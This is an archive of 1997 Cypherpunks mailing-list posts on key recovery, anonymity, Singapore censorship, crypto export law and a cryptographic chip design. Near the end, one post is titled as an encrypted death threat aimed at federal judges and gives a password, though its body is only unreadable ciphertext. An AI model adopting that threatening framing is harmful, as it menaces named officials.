The press release says "may receive." All Newspeak aside, does this mean that there is a secret document promising the KRAP group something? (This is what remailers and brown paper envelopes were invented for. I'm sure John Young would be happy to scan in some KRAP promises.) If there is no secret document that comes out, we have to ask ourselves, why the alliance? Did these companies really see a market demand? Did the government make promises about size of contracts it would offer to companies that shipped them KRAP? (Perhaps this relates to farming subsidies...) If so, those companies would be well advised to talk to AT&T, whose promised contracts for shipping the TSD-1300 with Clipper in place of DES never materialized. Is there a plan for interoperable KRAP? Is this going to relate to interoperable SET, where competing impulses, competing comittees, and no clear threat model or design goal lead to a spec that isn't, and a need to go back to the drawing board? the simple fact is that cryptographic security is hard enough to achieve without trying to add in layers of KRAP. So why bother? Network Associates decided it wasn't worth it. This then, becomes an open call to the charter members of the KRAP: Apple, Atalla, Digital, Bull, HP, IBM, NCR, RSA, Sun, TIS, and UPS to explain what they're doing in KRAP, what they hope to achieve, and to follow Network Associates proud example, and get the hell out. I'll advise shareholders in any KRAP companyto ask that same question: Is there a reasonable ROI on the KRA, and why are you involved? The hall of shame is on the web: http://www.kra.org/roster.html -- "It is seldom that liberty of any kind is lost all at once." -Hume From shamrock at cypherpunks.to Tue Dec 9 00:53:06 1997 From: shamrock at cypherpunks.to (Lucky Green) Date: Tue, 9 Dec 1997 16:53:06 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? In-Reply-To: Message-ID: On Mon, 8 Dec 1997, Steve Schear wrote: > > Isn't uttering a check protected speech? What about if a check is stego-coded in some political rant? Can the Feds insist I not utter that speech? The feds can do anything they want. If it pleases them to put a bullet through your head, or that of you wife, they can do so at their leisure. Without any fear of future consequences. Just ask Randy Weaver. Or his wife. Never mind. You can't ask his wife. She received a bullet. If the feds can *kill* you for any reason or no reason at all, they certainly can throw you into the slammer for whatever you may choose to utter. -- Lucky Green PGP v5 encrypted email preferred. "Tonga? Where the hell is Tonga? They have Cypherpunks there?" From harish at brokat.com.sg Tue Dec 9 03:21:14 1997 From: harish at brokat.com.sg (Harish Pillay) Date: Tue, 9 Dec 1997 19:21:14 +0800 Subject: Singapore & Freedom In-Reply-To: <199712081823.MAA10229@dfw-ix13.ix.netcom.com> Message-ID: <199712091112.TAA09122@brokat.com.sg> > >So, yes, the govt does at times choke the entrepreneurship drive > >of the local population, but there are industries where the > >coexistence of private initiative and govt-linked companies have > >been possible and viable. > > Please advise what industries and the companies involved. SingTech Computers, CSA - the two largest computer companies. CSA being a completely private company, but listed on the stock exchange. The hotel industry is pretty much 100% in private hands. Shipbuilding is both, airlines 100% govt-linked, public transport - a mixture etc. > >Let's analyze the premise of an educational system. .... > >It has been a fine balance between a fully liberal system and > >one that generates worker units for the most part of the last > >30-35 years. ... It will take 5-10 years before an increasingly > >liberal system is in place - an increasing thinking population > >that is part of the global information flow that will > >characterize the next centuries economies. > > This last sentence appears to have been taken right out the PAP > policy manual, and it is a good policy statement. Perhaps it behooves noting that not everything is evil in the PAP policy manual. > Educational > systems are generally engineered by society to help prepare the > students for life in that society. In western societies the > educational system is engineered by a number of different groups > in that society in what is thought to be in the best interest of > the society. Who is doing the planning in Singapore and for what > ends? I believe you will find Elder Statesman Lee has a major > involvement at this time. If you look you will find an > accelerated push to generate a more technical population. > Children in Singapore start school at 5 years of age, after 5 > years of schooling, what is the daily homework load for a 10 year > old student?? Does it matter? In any case, first grade (we call it Primary 1) is at age 6 not 5. > Three to 5 hours per day? If this figure is not > correct please advise the correct figure. What percentage of > parents feel compelled to hire tutors to enhance their child's > education or just so they get good grades? Is 60% too low?? What has all the preceding got to do with censorship? > What type of bonuses do school principals receive, is it based on > the overall grade-point average of the students in their school? None whatsoever. Public school principals are not rewarded on that yardstick. Perhaps you wanna suggest that to the Ministry of Education? > Why the big push? Who is the primary beneficiary of this push? > Is this being done for the benefit of the worker units or the > collective good of the controllers of the political group in > power? > > Harry and his buddies have done a fantastic job with Singapore > Inc. over the last 40 years. Harry had a great vision and > splendid execution of that vision. Problem now is that he is > rather long in the tooth and his people have changed. Instead of > loosening up and allowing more democratic freedoms Harry and the > boys are finding excuses to state that Singaporeans must work > harder and expect less in the way of freedoms. Harry has stated > many times that one of the biggest problems with western style > democracies is that the voters can defeat a perfectly good > government and install a bunch of goofs who spoil everything. > True enough, we sometimes vote goofs into power, but at least we > have the choice. Harry and the PAP have destroyed every bit of > political opposition or made the opposition unpalatable to the > voters. Perfectly valid statements. > > >Pray tell me how the SG govt has brought BB into reality? ... > > Singapore is surrounded by the Muslim hordes who covet their > wealth and it has no internal security apparatus? In the 50s > Singapore literally had a den of spies. The regional den of > spies is now Bangkok. Why do ya figure they all moved their > operations?? The Singaporeans politely asked them to leave? Have > you ever had any dealings with your nation's security apparatus? > If you did you would notice something strange. You just got > picked up for something that happened last week but these people > know about your whole life. They know how many hours you spend > at the office, when you are out of the country, who you socialize > with, and any vices you may have. Maybe they really don't do the > Big Brother thing, they probably just have a crystal ball and got > lucky with a few guesses and bluffed the rest. If you believe > this last statement I have a real deal for you on some excellent > used cars. So? Tell me which other country's citizen would not be similarly shown a "This Is Your Life" book? Come on. Nothing unique here. > When the Singapore government announced their intent to connect > every household to the Internet they asked every citizen to > become an informant and watch their neighbors (neighbours) for > subversive activity and report any such activity to the > authorities. I take it that you have evidence of this? I have yet to see anything like that. > Now, if you connect to those 100 restricted porn > sites and saved copies of all you viewed on your computer and the > authorities discovered that porn what would be your fate? Or are > you immune to this threat? The SBA (god bless them) has stated that what is on your machine is not of their concern. They are well aware of their limitations. Let's wait till they find their first parry and then we can see if they indeed are as mild-mannered as they want us to believe. In the meantime, we are all vigilant and do not take our freedoms for granted. > >Interesting that you hide behind an anomymous name... > > I notice your government does not like anonymous dissent either. So? They are bozos. My point in the preceding is that the post was by someone who claimed to have lived in Singapore for 8 years and I can only presume that he/she is no longer here. In spite of that, s/he choose to be anonymous. I on the other hand, have to walk along the streets here and live a life. I would have to watch my back if I felt that what I say would be used against me - especially if what I said is false. > The standard procedure in Singapore in dealing with trouble > makers is to dig up their records, school, National Service, > employment, and whatever else they can get and then tear the poor > souls apart. Harry has participated in this tactic many times. And he continues to do so. Like I alluded to in an earlier reply, our privacy laws (what laws?) are a joke. > Just so it will not bother you, I admit I am a low-life. Dropped > out of school, fired from every job, do drugs, abuse alcohol, > guns, no church, beat my kids, beat my wife, beat my dog, and I > hang-out in second-rate strip-joints with bikers who deal drugs > and loanshark. Plus I collect welfare..... Why you need to deprecate yourself is beyond me. I enjoy a good debate on issues and facts. We can choose to disagree on some issues, agree 100% on others. It does not bother me that you claim to be a low-life. I respect you and would deal with you fairly nonetheless. > I use anonymous mail for many reasons. The reason here should be > pretty obvious. To each his own. > SingMonger Regards. -- Harish Pillay h.pillay at ieee.org Singapore *** Ask me about Linux *** http://home.pacific.net.sg/~harish From return at mail2.vspn.net Tue Dec 9 19:55:33 1997 From: return at mail2.vspn.net (list) Date: Tue, 9 Dec 1997 19:55:33 -0800 (PST) Subject: Free Net Football Game Message-ID: <971109212426.027999> http://www.vspn.net is the WEB site of an all new FREE multiplayer football game for the internet. http://www.vspn.net/DownloadArea.htm for download. Play the wide receiver, quarterback, or fullback while others from all over the world play their positions. All in real-time 3D first person perspective. And it's FREE for the remainder of the beta test period. You like football? You like games? You'll LOVE VSPN. No need to reply as this is the only notice we will be sending. From anon at anon.efga.org Tue Dec 9 04:32:56 1997 From: anon at anon.efga.org (Anonymous) Date: Tue, 9 Dec 1997 20:32:56 +0800 Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit (fwd) Message-ID: <3d8db122af93212f09a7e9e37dec0220@anon.efga.org> >What a pipe dream, as one dies another is born. Good point. They'll probably never learn. From jk at stallion.ee Tue Dec 9 04:35:30 1997 From: jk at stallion.ee (Jyri Kaljundi) Date: Tue, 9 Dec 1997 20:35:30 +0800 Subject: Crypto Law Survey updated In-Reply-To: <3E24B04053C@frw3.kub.nl> Message-ID: On Mon, 8 Dec 1997, Bert-Jaap Koops wrote: > I have just updated my survey of existing and envisaged cryptography > laws and regulations. See the Crypto Law Survey at > http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm > > This update includes: > -new entries on Estonia Where did you get the information that: "permit from the Ministry of Foreign Affairs is required for export and for transit through Estonia." ? I find it pretty hard to believe, because our company as probably the leading security software reseller has imported and exported every kind of crypto software to and from Estonia and done transit through Estonia. Or could someone point me to the source of the sentence in your crypto law survey? Jyri Kaljundi jk at stallion.ee AS Stallion Ltd http://www.stallion.ee/ From lharrison at dueprocess.com Tue Dec 9 04:55:34 1997 From: lharrison at dueprocess.com (Lynne L. Harrison) Date: Tue, 9 Dec 1997 20:55:34 +0800 Subject: [MORE] Re: A Pretty Good Story In-Reply-To: Message-ID: <3.0.5.32.19971209074110.00833ba0@pop.mhv.net> NETWORK ASSOCIATES DISAVOWS KEY RECOVERY TIE Citing unintended political consequences, Network Associates - the new owner of PGP - has withdrawn from the Key Recovery Alliance. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . http://www.wired.com/news/news/email/other/technology/story/9010.html *************************************************************************** Lynne L. Harrison, Esq. | "It isn't pollution that's harming the Poughkeepsie, New York | environment. It's the impurities in mailto:lharrison at dueprocess.com | our air and water that are doing it." http://www.dueprocess.com | - Dan Quayle *************************************************************************** DISCLAIMER: I am not your attorney; you are not my client. Accordingly, the above is *NOT* legal advice. From jeffb at issl.atl.hp.com Tue Dec 9 05:26:48 1997 From: jeffb at issl.atl.hp.com (Jeff Barber) Date: Tue, 9 Dec 1997 21:26:48 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) In-Reply-To: <199712090021.SAA02221@einstein.ssz.com> Message-ID: <199712091340.IAA26147@jafar.issl.atl.hp.com> Jim Choate writes: > To the best of my knowledge no phone company anywhere > will allow a customer to purchase service without identifying themselves to > the phone company. Please let me know if there is such a beast somewhere. Go to your nearest convenience store. It's got something called a pay phone. Just cough up a quarter, no ID required. From ravage at ssz.com Tue Dec 9 05:51:47 1997 From: ravage at ssz.com (Jim Choate) Date: Tue, 9 Dec 1997 21:51:47 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <199712091400.IAA04323@einstein.ssz.com> Forwarded message: > From: Jeff Barber > Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd) > Date: Tue, 9 Dec 1997 08:40:46 -0500 (EST) > Jim Choate writes: > > > To the best of my knowledge no phone company anywhere > > will allow a customer to purchase service without identifying themselves to > > the phone company. Please let me know if there is such a beast somewhere. > > Go to your nearest convenience store. It's got something called a > pay phone. Just cough up a quarter, no ID required. Really? I don't think so. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From nobody at REPLAY.COM Tue Dec 9 06:18:11 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 9 Dec 1997 22:18:11 +0800 Subject: Crypto Law Survey updated Message-ID: <199712091403.PAA25920@basement.replay.com> Jyri Kaljundi wrote: > On Mon, 8 Dec 1997, Bert-Jaap Koops wrote: > > http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm > Where did you get the information that: "permit from the Ministry of > Foreign Affairs is required for export and for transit through Estonia." ? > I find it pretty hard to believe, because our company as probably the > leading security software reseller has imported and exported every kind of > crypto software to and from Estonia and done transit through Estonia. Or > could someone point me to the source of the sentence in your crypto law > survey? Jyri, There will be some people knocking on your door at 4 a.m. to take you downtown and explain it to you. FearMonger From mhw at wittsend.com Tue Dec 9 06:18:12 1997 From: mhw at wittsend.com (Michael H. Warfield) Date: Tue, 9 Dec 1997 22:18:12 +0800 Subject: A Pretty Good Story, from The Netly News In-Reply-To: <3.0.1.32.19971208181548.00693ca0@ee.net> Message-ID: <199712091409.JAA04499@alcove.wittsend.com> Clyde Williamson enscribed thusly: -- Start of PGP signed section. > Well, I guess we can call off the hit on Zimmermann... hehehe. > BTW- Is there any way to create keys on PGP 5.0 besides the Diffe- > Hellman alg.? The fully licensed version or the compile-your-own version (compile time option) will generate the RSA compatible keys. Mike -- Michael H. Warfield | (770) 985-6132 | mhw at WittsEnd.com (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From comsec at nym.alias.net Tue Dec 9 07:16:05 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Tue, 9 Dec 1997 23:16:05 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom Message-ID: <19971209150009.18749.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- Jim Choate wrote: > > I find it interesting that most of the people who refer to anonymous > > posters as "hiding behind" or "hiding behind the skirts of" something > > usually have unlisted telephone numbers when you try to do a search > > for them. I wonder why "hiding behind" an unlisted telephone number > > is considered acceptable but having an "unlisted" e-mail address is not > > considered acceptable? > > > > BTW, do you "hide behind" clothes when you walk on the street? If so, why? > > Got something to hide? Huh? COWARD!!!! > > Public anonymity and having an unlisted phone number are not even the same > thing. An unlisted phone number is to reduce public exposure, anonymity is > to enhance public exposure and secure plausible deniability. To have an > analogous situation you would need to use a *listed* phone number registered > to anonymous in such a way that ANI displayed the number but any directory > search resulted in anonymous w/ no address or other tracing info even for > the phone company. To the best of my knowledge no phone company anywhere > will allow a customer to purchase service without identifying themselves to > the phone company. Please let me know if there is such a beast somewhere. That analogy is faulty. The issue is the (claimed) need to provide an e-mail address when communicating via usenet, or some other public forum. Since the chosen communications medium is usenet (or a public mailing list like this), you can reply to me via that same medium. An e-mail address is only required if I want E-MAIL replies in response to my post. So, in that regard, a telephone number would fall into the same category. I'd only feel obliged to include a phone number in my posts if I wanted people to contact me via TELEPHONE. Sending anonymous e-mail to a person is more analogous to sending snail mail without a return address. It would be a form of one-way communications, unlike an anonymous PUBLIC post where a public reply is still possible. If you want to use the telephone analogy, then what you're talking about is akin to a pay phone that's not traceable back to an individual. ANI or caller ID would show the number of the pay phone itself, just like anonymous e-mail from a remailer shows the return address of the remailer rather than the sender. (For the majority of internet users, calling someone anonymously on a payphone is probably simpler than figuring out how to use a remailer, so the convenience of being able to call anonymously FROM HOME is not really required.) BTW, while this post does contain a replyable e-mail address, I'm not soliciting e-mail replies and I can't even guarantee that a reply to my return address would reach me, due to the uncertainty of 'nym reply blocks these days. For all anyone knows, all return e-mail could be forwarded to /dev/null at somewhere. > Generaly people wear clothes because it is convenient and required by social > mores and legal statute. Exactly. And yet many on usenet would deny that same CONVENIENCE to anonymous usenet posters. Sure, anonymous posting can be "abused" just as people can conceal illegal weapons under their clothing. But the answer to that is not to require public nudity just to protect against "clothing abuse". I guess a better analogy would be a nudist colony where both nudity and clothing are acceptable. And the de facto censors of anonymous posts would turn Usenet into a nudist colony where clothing was FORBIDDEN, or at least where the wearers of clothing were ridiculed and insulted. > Put your money where you mouth is, send your bank acct. no. & PIN to the > list....come on, you can trust US. As I'd tell someone (if I were posting anonymously) "you go first". A couple of times an anonymous poster has offered "if you want my e-mail address, give me your home phone number and I'll phone you and give it to you". Strange, but I've never seen such an offer accepted. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNI1CDQbp0h8ZvosNAQGFaAf/RrBdyP7JwwLkoudJ/tgS5dUMx+uOxZ1q 29AfX7rVAARcjJeA+6+a+uScPiy0mr9j8faL8+Qd78/jbKiqDRlZoJykrCfievUW /iklLAAI7aU09ctFlFO0ys2qk5CSOEf1UYpWlZu++L47r5A7OwXhAKhJ86Szhg+M LjYHg71dPUgrqLyDTyA7ldsAbFmXE7WyLbWD1y5AeURzOOV4kXlYGMkjduNIZwyj MrQ27L+NiG8+ruQ1eBIdqxtGiieVqzjQk83uLQRBEphiac+I+S7GHTAGo5YvlkSQ SudLPKR+G9UAFMVyRZklwMkmawPifwKYZIVL0ZiMeI/EkWWyPZrhkQ== =Lw+P -----END PGP SIGNATURE----- From declan at well.com Tue Dec 9 07:27:19 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 9 Dec 1997 23:27:19 +0800 Subject: [MORE] Re: A Pretty Good Story In-Reply-To: <19971208153716.54223@alpha.jpunix.com> Message-ID: At 07:41 -0500 12/9/97, Lynne L. Harrison wrote: >Citing unintended political consequences, Network Associates - the new >owner of PGP - has withdrawn from the Key Recovery Alliance. Um, yes. This is exactly what I wrote in my article yesterday. ("The McAfee-PGP combo, called Network Associates, has dropped out of the alliance") Zimmermann didn't even know McAfee was in it until late last week. -Declan From grafolog at netcom.com Tue Dec 9 07:47:28 1997 From: grafolog at netcom.com (jonathon) Date: Tue, 9 Dec 1997 23:47:28 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) In-Reply-To: <199712090021.SAA02221@einstein.ssz.com> Message-ID: On Mon, 8 Dec 1997, Jim Choate wrote: > analogous situation you would need to use a *listed* phone number registered > to anonymous in such a way that ANI displayed the number but any directory > search resulted in anonymous w/ no address or other tracing info even for > the phone company. To the best of my knowledge no phone company anywhere Usually known as "Secure Phone Service." << Which is also the name of one or two other services that local telco's offer. >> Where the phone company has an address to send the bill to, but has no idea where the phone is physically located. Most of the secure phones I'm aware of have unlisted numbers. But that isn't a requirement. The specific name of this service does change according to who is providing the phone service. My guess is that less than 1% of the sales reps at the telco that has installed the most of them, has no idea what that service involves --- and will deny that such a service is even offered by them. From jp at pld.ttu.ee Tue Dec 9 08:01:35 1997 From: jp at pld.ttu.ee (Jyri Poldre) Date: Wed, 10 Dec 1997 00:01:35 +0800 Subject: A little proffessional advice required Message-ID: Hello everyone. Some time (Actually some years) ago there was a discussion about Cryptographic device being devoloped in Estonia. Well now we have some real results to share. I will include a short description with some questions. Hope to hear from you all soon. As a result of scientific research project a team in Tallinn Technical University has developed a cryptographic processor. The first phase of the project has been a success. It ended with a prototype and presentation at NORCHIP'97 conference. Now the team is specifying the tasks for second phase of the project. If you have some time to answer to few questions, we would be extremely pleased. The data could help us to create a real circuit for solving real problems not just one for satisfying academic curiosity :) The circuit is a programmable modular arithmetic calculator and IDEA block cipher. ALU is 96 bits wide and is shared between IDEA and modular calculations. The circuit contains RAM for storing key exchange data, total of 16 registers. Two of them are used for Internal ALU calculations, 2 for storing expanded IDEA keys and one for several small 32 bit variables (cycle counter, upper parts of expanded IDEA keys, raw IDEA keys, & so on). Currently modular calculations length is 768 Bits. We have produced a test circuit and got the following results: Technology: Atmel ES2 1.0um 2 Metal CMOS, standard cell, 50 Kgates Speed: 20 MHz Modular exponent time: 0.1 Sec ( currently 768 Bits ) IDEA speed 20 Mbit/Sec All these results are also at: www.pld.ttu.ee/~prj/norchip.html Now we are designing a new circuit, what should provide some real interest to encrypting devices users. The obvious things to do with the previous circuit are: Add Second ALU, RAM, redesign datapath and use faster technology for Longer modular calculations ( 2*768 bits ) Faster exponent using 2 ALUS in parallel and CRT 100 Mbit/sec IDEA speed In pursuit of perfection we must keep in mind the penalty of silicon area, lower yields, longer devolopment time and thus higher price. Question 1: How much speed would be reasonable enough for both IDEA and modular exponent? Question 2: The second question concerns external interface. What protocol if any should we include into the circuit? The RS232 strikes as a first possible solution for smart card applications. Could there be some other common interfaces that we should consider including into the circuit? Sincerely, Tallinn Technical University, Design and Test laboratory, IDEXP circuit design team. From ulf at fitug.de Tue Dec 9 08:08:35 1997 From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=) Date: Wed, 10 Dec 1997 00:08:35 +0800 Subject: Singapore In-Reply-To: <3.0.3.32.19971207195655.00747a88@popd.ix.netcom.com> Message-ID: <9712091602.AA57460@public.uni-hamburg.de> > Germany doesn't really mind you selling dope, as long as your > shop is closed by 18:30 weekdays and earlier on Saturday :-) 20:00 weekdays, 16:00 on Saturday. From adam at homeport.org Tue Dec 9 08:12:58 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 10 Dec 1997 00:12:58 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) In-Reply-To: <199712091340.IAA26147@jafar.issl.atl.hp.com> Message-ID: <199712091555.KAA13772@homeport.org> With both Nynex and Bell Atlantic, I've gotten phone service under a nym. No SSN, no credit references, no problem. Just don't call yourself Bill Clinton. Fred Jeff Barber wrote: | Jim Choate writes: | | > To the best of my knowledge no phone company anywhere | > will allow a customer to purchase service without identifying themselves to | > the phone company. Please let me know if there is such a beast somewhere. | | Go to your nearest convenience store. It's got something called a | pay phone. Just cough up a quarter, no ID required. | -- "It is seldom that liberty of any kind is lost all at once." -Hume From ravage at ssz.com Tue Dec 9 08:37:56 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 00:37:56 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <199712091641.KAA04911@einstein.ssz.com> Forwarded message: > From: Adam Shostack > Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd) > Date: Tue, 9 Dec 1997 10:55:26 -0500 (EST) > With both Nynex and Bell Atlantic, I've gotten phone service under a > nym. No SSN, no credit references, no problem. > > Just don't call yourself Bill Clinton. That isn't the same as having it listed under the nym 'anonymous', when you can get a phone company to start service, accept payment under that 'name' and keep it that way in their records let me know. Further, with the cross to the service address your anonymity isn't. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From declan at well.com Tue Dec 9 09:05:09 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 10 Dec 1997 01:05:09 +0800 Subject: Senator to review "voluntary" privacy guidelines Message-ID: [So much for the privacy code being "voluntary." It's precisely as voluntary and ill-advised as the Vchip or PICS. All illustrate one point: if corporations don't self-regulate, the government will do it for them. --Declan] ---------- Forwarded message ---------- Date: Mon, 08 Dec 1997 18:11:38 -0500 From: Aaron Pressman US lawmaker to review info industry's privacy code WASHINGTON, Dec 8 (Reuters) - U.S. Senate Commerce Committee chairman John McCain said Monday he planned to review voluntary industry efforts to protect the privacy of people using the Internet. The Arizona Republican made the statement in a letter to the head of the Information Technology Industry Council, a group of computer manufacturers that unveiled on Monday a code of conduct for respecting privacy on their sites on the Internet's World Wide Web. "I look forward to reviewing these standards at the Commerce Committee," McCain said. McCain called the group's eight privacy principles "a good first step," adding that he was "pleased the industry took it upon itself to attempt to deal with this important issue." Council officials said the voluntary guidelines were, in part, intended to address the concerns of lawmakers and President Bill Clinton, who in July challenged the industry to come up with practices to protect privacy. The council included major personal computer makers such as Dell Computer Corp and Compaq Computer Corp , chipmakers like Intel Corp and Motorola Inc and manufacturers of related gear like AMP Inc and Lexmark International Group Inc . The guidelines recommend that a company notify consumers of what personal data are being collected on a Web site and allow them some degree of choice over how the data are used. Technological solutions should be employed "enabling individual data providers to exercise choice and control over their personal data," the guidelines said. Companies should also limit the collection of data to what is needed for valid business reasons and to ensure the data's accuracy and security. One aspect of the guidelines that could draw fire from the White House and Capitol Hill concerns the protection of children's privacy. In July, Clinton said protecting children, who might be unable to make "informed choices" about revealing personal information, could justify some legislation. The new guidelines recommend only that parents teach their children appropriate behavior. "Individuals should use their powers of choice in the marketplace to safeguard their personal data and that of the children," the guidelines said in the only explicit reference to youngsters. From zahn at berlin.snafu.de Tue Dec 9 10:38:48 1997 From: zahn at berlin.snafu.de (Steffen Zahn) Date: Wed, 10 Dec 1997 02:38:48 +0800 Subject: Complete package for Cantsin Protocol No. 2 In-Reply-To: <19971208180006.2435.qmail@nym.alias.net> Message-ID: <199712091818.TAA16356@n241-210.berlin.snafu.de> >>>>> "Charlie" == Charlie Comsec writes: Charlie> Have you got a URL I can check out which explains this Charlie> protocol and how it's superior to, let's say, PGP? The protocols where suggested by the anonymous person 'Monty Cantsin'. There were 3 relevant emails regarding that protocol to the mailing list cypherpunks at Algebra.COM. For anyone who has missed those emails I have put it at http://www.snafu.de/~zahn/cantsin.txt The protocol (currently) only specifies a format for a digital signature of documents or parts of documents. The algorithms used are SHA1 and ElGamal. There is currently no encryption specified. In contrast PGP 2.x used RSA and MD5 and has encryption with IDEA, PGP 5.x has another collection of algorithms. Compared to PGP, that exists as commercial software, my package is an experimental proof of concept, so it is not 'superior'. Regards Steffen -- home email: user at domain where domain=berlin.snafu.de, user=zahn Use of my address for unsolicited commercial advertising is forbidden. "Where do you want to crash today?" 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 712ADCBCF936ECA98E9F5D12AE0138F0436836A1 7BDB285465DECD6B16B3AB8E6463FA455A4648F7 -457 457 1859AC63B0AA67D8F06B7C324F75187FE597BF5EE8B6B16DB9C7BB53DA896DCCF5440CA9843D839784843073A243F60F90205EA236AD0D3230D83DEB11EC6787E4F12F27339C33DA0C5789500A64000FECEA93D559B5C288EF0D9E319298A1F8DD75D1C0F6CE79BED29B97779282240CCAC8D92F0B85B9868252938C0FBCCCF6156DD08C79877401D07 5A16A9102D7353074E97D81C9536B824B438E874E5DAA5015A24EA21C31B955C89BCA1BCA84D34D152960D15BE0EB9582F0748085D82185C7C99B6CA0231DEBE5A1A4261D1219E2459BEB81F7152A31484B5F590C4A6A2AD1FC295C5A160596CB4B9CF781E4F41D7B52C1D79B23284933AD7466C4E9DB970DE86787B6F951ED5A82AF0E7004F1A75F60 From hc at dev.null Tue Dec 9 11:09:05 1997 From: hc at dev.null (TruthMailer) Date: Wed, 10 Dec 1997 03:09:05 +0800 Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog Message-ID: <199712091852.MAA24686@harrier.sasknet.sk.ca> -----BEGIN PGP MESSAGE----- Version: 2.6.2 pgAAEhZN3sOEX/mdJ9NqXAUmISCJbgZZoTTrfql2WD2amEAYzopGAJsoiuIgBsXg V1ff0drc0NFPpYCxyGonnuti8jnlq1cDwWg+fgUs25Ga4TdFUp3WLqiaC5VlRmNV fKmfYwTjH6I8eVhF8gyCiINAXXgZ3Nb/vIZPYM+1Iy2U1Uj3hhHQTc8+bfobU+UB wpBxfS5zWEcAIyd7b2DBSpv4Z3MLudDzqZp/SqDQV4HzW1QpF+Nojk4I9zTORjfm RZxwYBBihb785hR/ZhX6E8p6vxJLgTLPrS2DdSAU7z69NOEzFKFiEV+qg8bzglX4 6STx6asfxpq4BS0ZgGevk6wlUq5sAePw5HMx0qS/+S/dTPQBBMLddITGdUUUWOEm qE1vcfW2Q0y/nwSfF93v++QCezdF/XH3vgKv0gYHjSq4L7ugGeLtlkoZG5mCkwS/ vtSTVk989r1HAWIauoMH1LfBXbUzIrghzI52k4Au9HrLEFxPgXlSejkgNVq3LFxf S0vRXNx7gEkHROn/iTresA9QlO1ONeTFED+7Mkoqg5WMTWG7y36y4hoqjZ96hS3B Enn/D1KH6kRdB+ZnSduG+6c5V15A2WGwAQ202kC2x9bmLx2dllz9GODcwneWNCvH UVQSotDywfN+TZC94VAbIJ5PIBmRFMuYu2L/QUWnmAEtgqBsvaFDkYm4FzVHa2fS u9ceJqpkxO/mLz7fUMraeYB69enqxD5yMAGPmRfHSZeN734WN4odlEQ9Bq/v9xc+ 6NT612WBaeznFX00dhlsS1ndNT00HGETmtyOtHKWWUThxouAXy1KiEDX2totmao0 HMaEaNd8uh7WpGBq3Xmr4DeAC2kSnFVQ76MSO5OVOMa5g2QUZkwTe3GG6OPArDWK AeMvov6swxtDWpCWviOzhEkR2Ora/mIcVS6ZGvQgxHYIcu82Y+ZRjvS/ok1F5FGA 1yGdmrBWM9G1KYkOuvIiM0S7NgmQ80XA2v3WZG8Y6WAQENWAcRvmYyVPvypedsde sh/DxXLICu09T0lE8oCMmgXVXbIEm9TePoXmPyFzijv4ekw3UWRC0NWwZkcKroV9 caqPI0tTyd1WgwleezKs7AXbnYPcmBUlW/Xr8NOFBd0mU0iTHlPTR4Oe3UwP3GbI NIX8WBjltNvWgp2NBa0WGTmWnpXeDaSrz7SbcIIgBYNGf+6UNgIdhYIo49FFAtWy /PD76WjrntAAJyYkwVfQfHr8b9lLj1JG5ZNwDLzyv0hNkxwth8v2y/A9cAT8gtS6 atKmiFv8shPsqXLQ0bTatfz919xzwFlW5EMsdv2bCTBKD0E5wxhxpU9vcEwMssGn 6Z5ThzRGbLiXxMZ92jbDBQUHWb80yIsMNApwzSjKpncxRhnZefkOF8qi0SIKhetc TaGBu6rgkNv0E8BsPbQ6SttoEmMw9YDsdUlkvXw6Jhlqj0cdGYaHsFcLTySFA/L4 3WdbQBa40tsSmMZzTGNZMVKYo1L3qA3gOWs71ug2XGLCElxHvWXbF2Hp1RddkUgB /HIYgAaLTVnjOLu+gAiqeg5yEBPWW0LqJCzpKgLUn/hIQKBXhMao0b7zy08VDlSP DYv5U3E4q7yIrc+IFhXM1EXNTDlDJZSchH0VGbQ9ATAClLcXXt5K9Ow9aJIWVHnL x6xcqYlZrfgi4wI4s8dWgQ+BJvrJ7aspOO7pOWqKp6CpXVzVHo7cEKUc98fZ2lxM z5m5UiwoaUvPEGCngUhmUY5OYBIbXNCmAuL8m3LU2pxUlTJYi71HayVZo9V7YalN MbXIdKJR/EiccdtgK0qjrY44sgSAkKa9+fWYBXdEJR4LeLwYekZvu1RVUaoNWiUm h+AoBKqjzbnjG9ivSnLdsYsm1iUiNKiH9TJZtwGwg1R+8lPuJg5RevDZ39ZNodN+ 